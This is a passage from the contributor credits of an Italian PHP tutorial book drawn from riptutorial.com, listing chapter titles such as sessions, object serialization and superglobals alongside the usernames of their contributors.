https://riptutorial.com/it/home 571
Sebastianb, Thijs Riezebeek, tyteen4a03
Manipolazione delle
60 Mike, mnoronha
intestazioni
Multi Threading
65 mnoronha, RamenChef, SaitamaSama, Sunitrams'
Extension
https://riptutorial.com/it/home 572
Ninja, Machavity, Martijn, Matt S, Obinna Nwakwue, Panda,
Petr R., Rick James, robert, Smar, tyteen4a03, Xymanek, Your
Common Sense, Zeke
PHP Server
72 Paulo Lima
integrato
80 Riferimenti bwoebi
Serializzazione degli
84 Ali MasudianPour, Matt S, Mohamed Belal
oggetti
https://riptutorial.com/it/home 573
Abhishek Gurjar, Alon Eitan, DanTheDJ1, Darren, Epodax,
Haridarshan, Henders, Ismael Miguel, Ivijan Stefan Stipić, Jens
86 sessioni
A. Koch, ksealey, matiaslauriti, mickmackusa, Nijraj Gelani,
RiggsFolly, SirMaxime, SOFe, tyteen4a03
Sintassi alternativa
bwoebi, JayIsTooCommon, Machavity, Marten Koetsier,
89 per le strutture di
matiaslauriti, Shane, Sverri M. Olsen, Xenon
controllo
Supporto Unicode in
95 Code4R7, John Slegers, mnoronha, tyteen4a03
PHP
https://riptutorial.com/it/home 574
Spooky, Thijs Riezebeek, tyteen4a03
Utilizzando
102 Kevin Campion, RamenChef, tyteen4a03
MongoDB
Variabili superglobali
106 Akshay Khale, JustCarty, mnoronha, RamenChef, tyteen4a03
PHP
https://riptutorial.com/it/home 575